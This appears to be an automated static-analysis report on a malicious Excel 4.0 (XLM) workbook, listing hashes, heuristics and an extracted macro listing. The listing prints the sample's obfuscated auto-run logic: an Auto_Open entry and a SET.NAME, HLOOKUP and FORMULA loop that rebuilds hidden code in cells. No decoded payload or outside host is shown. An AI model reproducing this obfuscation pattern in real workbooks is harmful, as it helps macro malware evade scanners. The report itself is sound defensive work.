Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 96552f1a1d6b48df…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:37:30 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 7f769c51a14e16bec3873cd1c37aba74 SHA-1: 577b7a6ee62833f540d66320150d74973bb17919 SHA-256: 96552f1a1d6b48dfbbab2cec3d8cf724e1e31b1a2219643d351692f9ca557d79
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6668 bytes
SHA-256: c7b04600a0f7d99f42f37f6a766f1a2eb7321802e02e16717b09e3e0841729df
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  gMsGPbuOJpM
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D137 
' 0018     25 LABEL : Cell Value, String Constant - BriRZBdbkI len=0 
' 0018     27 LABEL : Cell Value, String Constant - cuIDLYcpBNBS len=0 
' 0018     27 LABEL : Cell Value, String Constant - DhqqddRhRoES len=0 
' 0018     26 LABEL : Cell Value, String Constant - EeSbebXReHn len=0 
' 0018     26 LABEL : Cell Value, String Constant - FdZpAYKtrvb len=0 
' 0018     21 LABEL : Cell Value, String Constant - FNooxM len=0 
' 0018     26 LABEL : Cell Value, String Constant - GjdvubofhVG len=0 
' 0018     20 LABEL : Cell Value, String Constant - GPCER len=0 
' 0018     21 LABEL : Cell Value, String Constant - gqpKWB len=0 
' 0018     21 LABEL : Cell Value, String Constant - gZiATs len=0 
' 0018     21 LABEL : Cell Value, String Constant - jFpCfz len=0 
' 0018     27 LABEL : Cell Value, String Constant - JkVXSVULwRgt len=0 
' 0018     20 LABEL : Cell Value, String Constant - KLIuD len=0 
' 0018     25 LABEL : Cell Value, String Constant - mVfqErrtoe len=0 
' 0018     23 LABEL : Cell Value, String Constant - PEIboTGX len=0 
' 0018     27 LABEL : Cell Value, String Constant - PiMIgzNXPEMG len=0 
' 0018     24 LABEL : Cell Value, String Constant - PRCQufziB len=0 
' 0018     23 LABEL : Cell Value, String Constant - uyYAFEPN len=0 
' 0018     21 LABEL : Cell Value, String Constant - WRhHke len=0 
' 0018     25 LABEL : Cell Value, String Constant - YGONYqAlLP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  gMsGPbuOJpM,D46,"SET.NAME("cuIDLYcpBNBS",VALUE("0"))",""
'  gMsGPbuOJpM,D49,"SET.NAME("gqpKWB",cuIDLYcpBNBS)",""
'  gMsGPbuOJpM,D54,"SET.NAME("JkVXSVULwRgt",cuIDLYcpBNBS)",""
'  gMsGPbuOJpM,D58,"SET.NAME("PEIboTGX",COUNTA(uyYAFEPN))",""
'  gMsGPbuOJpM,D60,"SET.NAME("PRCQufziB",COUNTA(YGONYqAlLP))",""
'  gMsGPbuOJpM,D64,[],""
'  gMsGPbuOJpM,D66,"SET.NAME("EeSbebXReHn","")",""
'  gMsGPbuOJpM,D68,"gqpKWB",""
'  gMsGPbuOJpM,D70,"SET.NAME("DhqqddRhRoES",HLOOKUP("*",uyYAFEPN,gqpKWB,FALSE))",""
'  gMsGPbuOJpM,D73,"gZiATs",""
'  gMsGPbuOJpM,D78,"SET.NAME("mVfqErrtoe",cuIDLYcpBNBS)",""
'  gMsGPbuOJpM,D81,[],""
'  gMsGPbuOJpM,D85,"mVfqErrtoe",""
'  gMsGPbuOJpM,D89,"jFpCfz",""
'  gMsGPbuOJpM,D94,"KLIuD",""
'  gMsGPbuOJpM,D98,"WRhHke",""
'  gMsGPbuOJpM,D101,"SET.NAME("GjdvubofhVG",VALUE(HLOOKUP("*",YGONYqAlLP,WRhHke,FALSE)))",""
'  gMsGPbuOJpM,D106,"BriRZBdbkI",""
'  gMsGPbuOJpM,D109,"EeSbebXReHn",""
'  gMsGPbuOJpM,D112,"JkVXSVULwRgt",""
'  gMsGPbuOJpM,D117,NEXT(),""
'  gMsGPbuOJpM,D120,"PiMIgzNXPEMG",""
'  gMsGPbuOJpM,D123,"SET.NAME("f",INT(T(FORMULA(T(EeSbebXReHn)&"",""&T(PiMIgzNXPEMG)))))",""
'  gMsGPbuOJpM,D126,"FdZpAYKtrvb",""
'  gMsGPbuOJpM,D130,NEXT(),""
'  gMsGPbuOJpM,D135,RETURN(),""
'  gMsGPbuOJpM,D156,"SET.NAME("FNooxM",D46)",""
'  gMsGPbuOJpM,D161,"uyYAFEPN",""
'  gMsGPbuOJpM,D165,"SET.NAME("YGONYqAlLP",R52C11)",""
'  gMsGPbuOJpM,D168,"SET.NAME("FdZpAYKtrvb",178)",""
'  gMsGPbuOJpM,D173,"SET.NAME("GPCER",4)",""
'  gMsGPbuOJpM,D177,FNooxM(),""
'  gMsGPbuOJpM,D178,HALT(),""